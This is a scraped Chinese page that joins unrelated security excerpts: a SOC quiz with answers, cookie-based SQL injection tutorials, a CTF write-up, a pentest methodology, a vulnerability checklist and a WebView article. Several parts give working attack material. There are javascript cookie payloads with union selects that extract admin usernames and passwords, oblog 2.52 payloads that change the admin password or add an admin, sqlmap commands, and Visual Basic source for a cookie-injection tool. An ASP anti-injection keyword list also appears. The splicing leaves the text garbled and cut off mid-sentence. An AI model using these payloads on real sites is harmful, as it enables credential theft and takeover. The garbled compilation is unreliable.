页面二与页面三明显存在不同,是存在cookie注入的。现在来获取账号密码。首先利用order by进行字段数查询。输入:javascrip:alert(document.Cookie=“id=”+escape(“1556 order by 10”)),返回正常页面,这说明字段数大于10,经过几次猜解,确定字段数为30。开始猜表名:输入:javascript:alert(document.cookie=“id=”+escape(“1556 and 1=2 select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,,27,28,29,30 from admin”))回车,再次输入https://www.doczj.com/doc/065824668.html,/list.asp得到页面,并把可显示的字段显示出来了,如图四所示:

SOC网络安全题目300题

SOC 单项选择题120题多选60题判断90题简答30小题合计300题 一.单项选择题(共120小题) 1.在网页上点击一个链接是使用哪种方式提交的请求 正确答案:A; 2.对于单次SQL注入最可能会用到下列哪组字符 A.双引号 B.单引号 C.# D.— 正确答案:B; 3.仅根据扩展名判断,以下哪个文件不是动态页面 正确答案:D; 4.关于XSS的说法以下哪项是正确的 全称为Cascading Style Sheet B.通过XSS无法修改显示的页面内容 C.通过XSS有可能取得被攻击客户端的Cookie 是一种利用客户端漏洞实施的攻击 正确答案:C; 5.在应用程序中接收到如下内容,请选出对其可信任程度描述正确的一项。 A.来自设置为不可编辑的输入框的内容可信任 B.来自设置为隐藏域的内容可信任 C.来自客户端提交Cookie的内容可信任 D.来自客户端提交的Agent域的内容可信任 E.以上内容均不可信 正确答案:E; 中如提交多个参数通过下列哪个符号进行分隔 A.; B., C.&

D.+ 正确答案:C; 7.通过以下哪种方法可最为有效地避免在中括号参数处产生SQL注入select * from users where age<[18] and male=1; A.过滤输入中的单引号 B.过滤输入中的分号.--及#;过滤输入中的空格.TAB(\t) C.如输入参数非正整数则认为非法,不再进行SQL查询 D.过滤关键字and、or 正确答案:D; 8.端口扫描使用的最常见协议是 正确答案:A; 9.判断主机存活最常用协议是 正确答案:C; 10.哪种扫描器不能对Web应用的安全性问题进行评估 正确答案:C; 11.微软何类产品的漏洞利用方式与挂马相关 A.操作系统 B.浏览器 正确答案:B; 12.以下关于僵尸网络的正确答案是 A.拒绝服务攻击 B.垃圾邮件 C.网络钓鱼 D.以上均是 正确答案:D; 13.口令安全不取决于 A.口令长度

POST GET与COOKIE注入原理

POST GET与COOKIE注入原理 一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。 首先定义请求中不能包含如下字符: '|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare 各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下: get请求的非法字符过滤: dim sql_injdata SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|") If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then Response.Write "" Response.end end if next Next End If post请求的非法字符过滤: If Request.Form<>"" Then For Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then Response.Write "" Response.end end if next next end if 然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。

Web漏洞实战官方题解

这个题目是Union型sql注入,没有进行任何过滤,可以通过sqlmap或者手注。 通过单引号截断sql查询语句: 可以利用and 1=2进行union注入,获取注入结果回显: 2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显: 表名错误的话则查询不到数据: 列名类似,最终的POC: http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23

得到: 如果使用sqlmap的话: 首先使用-u判断是否存在注入: 发现可以Union、布尔型、基于时间……于是,分别使用—dbs –tables –columns可以得到数据库名、表名、列名,最后用: sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump 这个题目过滤了一些关键字,但是可以利用大小写混写进行绕过:

将and关键字用&&代替,注意要进行url编码,最后的payload如下: http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23 这个看泽哥注入的时候,发现可以利用—tamper=randomcase,使用sqlmap的随机大小写关键字脚本,直接也可以得到结果: sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase 后面的同第一个: 这个题目看源码可以发现把union整个给过滤了,所以只能通过Bool型盲注了:

Web攻防系列教程之Cookie注入攻防实战

Web攻防系列教程之Cookie注入攻防实战 摘要 随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓。很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序。这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡。遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的。我们知道,一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。一般情况下我们认为黑名单是不安全的,它存在被绕过的风险。比如有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,这时我们该怎么办?在本文你将会找到答案。 Cookie背景介绍 Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。 Cookie的用途 Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的帐号和密码用来自动登录网站和电子商务网站中的“购物车”。 Cookie注入原理 Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入。只是表现形式上略有不同罢了。 要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用来获取客户端提交的数据。先来看下ASP开发文档中对request对象的描述: 图一 Request对象的使用方法一般是这样:request.[集合名称](参数名称),比如获取从表单中提

【IT专家】说说WebView那些事(header,cookie,注入js)

说说WebView 那些事(header,cookie,注入js)2017/02/24 1 前言昨天路过公司外面花园时候,不知觉腊梅已经开花了,才发 觉春天来了。来城市生活这几年,完全忘记了时令的交替,只知道冷了加衣服,热 了脱衣服。好久没感受到春天的气息了,内心泛起一丝惆怅。城市的生活总是那么 匆忙,多了一分烦躁,少了一分宁静。 那金黄色的油菜花,粉色的桃花,白色的李子花樱花…儿时… WebView 简介纯原生app 开发,时间成本太高,现在市面上已经很多混合式开发app。那么什么是混合式?指的是在我们的页面中嵌入html 网页。Android 当中给我 们提供了WebView 实现这一功能。 有关WebView 的一些常见方法,我这里就不再讲解,网上这部分资源太多。接 着我们来看看以下几个案列。 参考文献: WebView 详解与简单实现Android 与H5 互调 案例一header 直接上需求效果图: 需求:WebView 添加header,h5 读取头部,并且隐藏底部菜单栏。 需要添加的header 数据:ECR-APP:android 我们平时大多数情况使用的是loadUrl(String url)加载方法,下面我们来看另一个loadUrl 构造方法。 loadUrl(String url, Map String, String additionalHttpHeaders)参数additionalHttpHeaders 字面上的意思是:额外的http 头部信息。这个方法是Android 2.2 (也就是API 8),WebView 新增加了一个接口方法,就是为了便于我们加载网 页同时又可以发送HTTP 头信息的。 看看具体的使用: HashMap String, String header = new HashMap (); header.put(“ECR-APP”,“android”);mWebView.loadUrl(“m.test.366ec/Default2c.aspx”,header);马上运行效验一下:

查找关于COOKIES入侵的方法及工具

查找关于COOKIES入侵的方法及工具 Cookies 是一小段提请存储在您的计算机硬盘上的文本。当获得您的同意后,浏览器将会把此段文本存储到一个小文件中。 如果您将浏览器设定为在接收Cookies 之前给予提示,您在访问https://www.doczj.com/doc/065824668.html, 网站时将会注意到希望在您的计算机上放置Cookies 的请求,其目的是通知我们您何时访问了我们的网站。这个Cookies 本身只是告诉我们一为过去的访问者再次访问了https://www.doczj.com/doc/065824668.html, 网站,而不会提供有关您的电子邮件地址或您是谁等信息。当然,您可以选择通过注册在以后某个时候告诉我们这些信息。 cookies就是网页放在你的电脑中的一些文件,由网页脚本语言控制生成删除修改访问查阅判断,有一定的时效性(程序中规定)。一般打开是乱码。 怎么察看cookies ? 第一种办法:在ie里有一个“导入导出功能”,可以将你的cookies导出到一个自己定义的文件,可以是txt 第二种方法:下载一个叫做cookies 察看器的小工具,即可以修改删除察看cookies 文件。第三中办法:用request.cookies(item)来访问cookies中的值。 利用cookies进行注入: 在程序中一些程序需要读取客户浏览器中的cookies来进行程序的判断,有的时候程序没有对读取的cookies进行过滤或者是判断,导致直接把cookies中的一个键的值直接提交到数据库执行。cookies是在我们客户端的,所以随便你怎么改都可以。在网页程序执行的时候直接把cookies中的值没有经过过滤和检查是一种非常危险的事情。 伪造cookies: 在程序的执行中,有的系统是用cookies来读取用户名和密码来进行访问端的身份判断(http 是一种无状态协议),在我们通过注入或者是下载数据库读取用户名和密码成功后,可以直接修改cookies,把相应的用户名和密码和权限值代替默认的cookies中的用户名和密码和权限,意思是当你以一个普通用户登陆的时候,系统给你的电脑生成了一个cookies,其中包括了你的用户名密码权限(普通),当你得知了管理员或者其他用户用户名和密码和权限特征时候可以直接修改cookies,把你的相应的值替换成关键用户的值,这样系统就认为你是真正的那个管理员。 软件简介:oblog2.52的cookies欺骗入侵 由于oblog2.52中的inc/function.asp文件中的checkuserlogined()函数对password没有过滤就放到了sql语句执行导致了sql注入,最明显的是a’ or ’a’=’a漏洞,在function.asp还有两个函数codeCookie()是加密用户名和密码的,decodeCookie()是解密,如果是mssql,可以导致后台更改管理员密码和添加管理员等等。 0dca22a731e30058’ and 1<(select userpassword from [user] where use rid=1)--暴管理员密码 0dca22a731e30058’ update [user] set userpassword=’0dca22a731e30058’ where username=’admin’ 修改管理员密码 0dca22a731e30058’ inset into admin(username, password) values(’9xiao’,’0dca22a731e30058’)-- 加管理员,上面三个语句需要运行code cookie加密后在review修改cookies 好久没有做动画嘿嘿,今天有些时间做个最新的oblog2.52的cookies欺骗,把a’ or ’

绿盟安全工程师渗透测试常规思路

渗透测试常规思路分析 正所谓没有人一出生就会走路,从不懂到入门到深谙,一步步慢慢来,每个人都是这样;但是在这个过程中,思路无疑是最重要的,没有做不到只有想不到,就跟咱们高中解题时有了思路就迎刃而解一样,手里拿着铲子(技巧知识)但不是道从何挖起岂不是悲哀。 下面会分享一些我自己总结的常规渗透思路。 分享的思路就像一本书的索引一样,并不是每个点都有详细的技巧和各种原理分析,而是咱们如何下手如何一步步深入,在每个点上咱们知道了思路可以在每个点上查阅资料来攻破,继续前进。好比武功的招式套路,在总体套路不变的前提的下招招精进,也可以重组创新。 0×01野球拳:外围 招式解释 野球拳:最基础但练得好最后也非常厉害 1.主要由于服务器配置等原因造成的信息泄露 常用google ,bing等搜索工具,轻量级的搜索出一些遗留后门,不想被发现的后台入口,中量级的搜索出一些用户信息泄露,源代码泄露,未授权访问等等,重量级的则可能是mdb文件下载,CMS 未被锁定install页面,网站配置密码 password,php远程文件包含漏洞等重要信息。 包括Robots.txt不想让百度知道的,可能没有设置forbidden访问权限,让我们知道了路径可以进入哦。

2.端口探测——服务

该项也是针对服务器的配置来说的,在服务器配置的时候可能出现一些等常规服务端口,则可以根据弱口令尝试,或者一些服务的基础漏洞(CVE)来使用matesploit进行处理。常用工具NMAP –A IP. 3.爬虫爬网站目录 该项是使用爬虫扫描器,对网站域名进行扫描,网站根目录下的文件,说不定能发现惊喜哦。AWVS,。 4. Web框架漏洞 Web整体框架: ①Struts2框架漏洞,直接利用。 ②ThinkPHP任意代码执行。

自动注入攻击工具的研发

第1章绪论项目背景及意义 SQL注入攻击是一种非常有效且破坏性很大的渗透手段。它是针对于数据库的一种攻击手段,通过利用数据库的外部接口把恶意代码插入到SQL语言中使数据库服务器解析并执行,以达到入侵目标数据库及至整个操作系统的目的。了解和熟悉SQL注入原理,掌握防御SQL注入攻击的原理和技巧就变得至关重要。SQL注入攻击的普遍性、难捉摸性、简易性等特点让其成为了网络中黑客主流攻击方式之一。因为SQL注入是从正常的Web平台入口进行请求访问,和请求正常的Web页面没有什么区别,所以目前市面上除了专门的Web防御防火墙外,大部分防火墙都不会对这类SQL注入攻击进行监控和发出警报,若网站管理员没有经常查看IIS日志的经验和习惯,有可能被入侵很长一段时间后都没有任何发觉。由于现在广泛流行的恶意攻击工具,SQL注入在近年来呈现一种增长的趋势。 据OWASP(开放式web应用程序安全项目)每隔三年更新一次的“十大安全隐患列表”,在近几次公布的总结Web应用程序最可能、最常见、最危险的十大安全隐患中,SQL 注入攻击一直排列靠前。OWASP TOP 10 2010中列出的最严重的Web应用程序的漏洞中,注入(Injection)风险位居第一。 Web应用的发展越来越成熟,应用的各项技术发展得也越来越复杂。它们涵盖了从外部动态展示INTERNET和内部工作网络到以WEB协议方式传递数据的企业工作应用(如文档管理系统等)。这些系统的实用性及其数据存储、处理内容的机密性和敏感性对于企业的主要业务而言都非常重要。 当前市面的注入攻击检测工具只能对单个网页或者单个URL进行检测和注入,无法对整个网站的漏洞进行检测。而漏洞扫描工具可以对整个网站漏洞进行扫描却无法进行进一步的注入攻击检测。很大程度上不能满足开发人员和管理人员对网站SQL注入漏洞全面了解的要求。本研究的最终目的是分析SQL注入攻击的类型、关键技术和原理,并研究SQL注入在实际应用中的操作方法,在此基础之上,设计并开发了一套自动注入工具。 因为恶意攻击者不仅可以通过SQL注入攻击对Web应用数据进行盗取、篡改信息,还可以进一步对于服务器进行恶意操作,并且植入木马或者后门程序,甚至控制整个服务器,这就严重影响了应用的正常运行以及对于应用的信息安全带来严重后果。所以,对于功能齐备的SQL注入攻击扫描与检测工具的研究与开发具,具有非常重要的现实意义。

cookie手工注入

1.先访问当前注入点文件名 2.修改cookie javascript:alert(document.cookie="id="+escape("1137")); 把当前站点的cookie内容修改为id=260 并且弹窗显示出当前的cookie内容 注入点: http://127.0.0.1:800/asp/Production/PRODUCT_DETAIL.asp?id=1137 注入点文件名: http://127.0.0.1:800/asp/Production/PRODUCT_DETAIL.asp? javascript:alert(document.cookie="id="+escape("260")); 内容:document.cookie="id="+escape("260") document.cookie //修改cookie "id="+escape("260") //id是咱们注入点的参数 260 //参数值

javascript //使用js语句 alert //弹出窗口, javascript:alert(document.cookie="id="+escape("1137")); 把当前站点的cookie内容修改为id=260 并且弹窗显示出当前的cookie内容 判断是否存在注入 javascript:alert(document.cookie="id="+escape("1137 and 1=1")); 返回正常 javascript:alert(document.cookie="id="+escape("1137 and 1=221")); 返回错误 查询指定管理员 javascript:alert(document.cookie="id="+escape("1137 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin where id=40"));

Web应用中常见39种不同的安全漏洞漏洞分析及检查方法

Web应用中常见39种不同的安全漏洞漏洞分析及检查方法 1.1SQL注入漏洞 风险等级:高危 漏洞描述: SQL注入漏洞产生的原因是网站应用程序在编写时未对用户提交至服务器的数据进行合法性校验,即没有进行有效地特殊字符过滤,导致网站服务器存在安全风险,这就是SQL Injection,即SQL注入漏洞。 漏洞危害: 1) 机密数据被窃取; 2) 核心业务数据被篡改; 3) 网页被篡改; 4) 数据库所在服务器被攻击从而变为傀儡主机,导致局域网(内网)被入侵。 修复建议: 1)在网页代码中对用户输入的数据进行严格过滤;(代码层) 2)部署Web应用防火墙;(设备层) 3)对数据库操作进行监控。(数据库层) 代码层最佳防御sql漏洞方案:采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。 原因:采用了PreparedStatement,就会将sql语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析sql

命令,比如select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行,必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的,只会被当做字符串字面值参数,所以sql语句预编译可以防御sql注入。 其他防御方式:正则过滤 1.2目录遍历漏洞 风险等级:中危 漏洞描述: 通过该漏洞可以获取系统文件及服务器的配置文件。利用服务器API、文件标准权限进行攻击。 漏洞危害: 黑客可获得服务器上的文件目录结构,从而下载敏感文件。 修复建议: 1)通过修改配置文件,去除中间件(如IIS、apache、tomcat)的文件目录索引功能 2)设置目录权限 3)在每个目录下创建一个空的index.html页面。 1.3跨站脚本漏洞 即XSS漏洞,利用跨站脚本漏洞可以在网站中插入任意代码,它能够获取网站管理员或普通用户的cookie,隐蔽运行网页木马,甚至格式化浏览者的硬盘。

cookie注入绕过SQL通用防注入程序

ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合 cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击. 我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"https://www.doczj.com/doc/065824668.html,/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码: (调用opendb.asp文件) <% Call CheckUserLogin(username) Dim action,s,id id=request("id") (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交) if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id) conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读 rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3 我们再打开"opendb.asp"文件 <%Option Explicit Response.Buffer = true%> (调用fzr.asp文件) ..................

VB编写的Cookie注入工具实例

VB编写Cookie 注入工具实例 作者穿山甲2008年1月 很早以前用VB写的cookie注入工具实例,放在柜里实在可惜,发来供VB友人共享,源程序也午网上还有,找不到的联系QQ:182442687索取 一、界面: 控件:3个label、8个text、4个Command 原理:主要利用webbrowser提交javascript语句(WebBrowser1.Navigate Text8.Text),更改当前cookie,然后刷新页面cookie值(WebBrowser1.Refresh) 利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) ---------------------------------------------------------------------------------------------------------------------- 二、代码: Private Sub Command2_Click() WebBrowser1.Navigate text1.Text '打开网站 End Sub Private Sub Command1_Click() Text2.Text = WebBrowser1.Document.cookie '获得当前面cookie值,并将值赋给text2.text

End Sub Private Sub Command3_Click() '主要利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) Text8.Text = Text4.Text + Text5.Text + Text6.Text + Text3.Text + Text7.Text WebBrowser1.Navigate Text8.Text '提交cookie脚本,给ID赋值 End Sub Private Sub Command4_Click() On Error Resume Next WebBrowser1.Refresh '刷新页面,进行cookie注入 End Sub '下面是自适应窗体大小调整: '调整后的宽度text1.width = text1.width原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的高度text1.height = text1.height原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) '调整后的左距text1.left = text1.left原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的上距text1.top = text1.top原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) Private Sub Form_Resize() text1.Width = 7695 / 10665 * Form1.ScaleWidth text1.Height = 375 / 7995 * Form1.ScaleHeight text1.Left = 1320 / 10665 * Form1.ScaleWidth text1.Top = 180 / 7995 * Form1.ScaleHeight Text2.Width = 7695 / 10665 * Form1.ScaleWidth Text2.Height = 375 / 7995 * Form1.ScaleHeight Text2.Left = 1320 / 10665 * Form1.ScaleWidth Text2.Top = 780 / 7995 * Form1.ScaleHeight Text3.Width = 5895 / 10665 * Form1.ScaleWidth Text3.Height = 375 / 7995 * Form1.ScaleHeight Text3.Left = 3120 / 10665 * Form1.ScaleWidth Text3.Top = 1320 / 7995 * Form1.ScaleHeight Text5.Width = 795 / 10665 * Form1.ScaleWidth Text5.Height = 375 / 7995 * Form1.ScaleHeight Text5.Left = 1320 / 10665 * Form1.ScaleWidth

相关主题
文本预览
相关文档 最新文档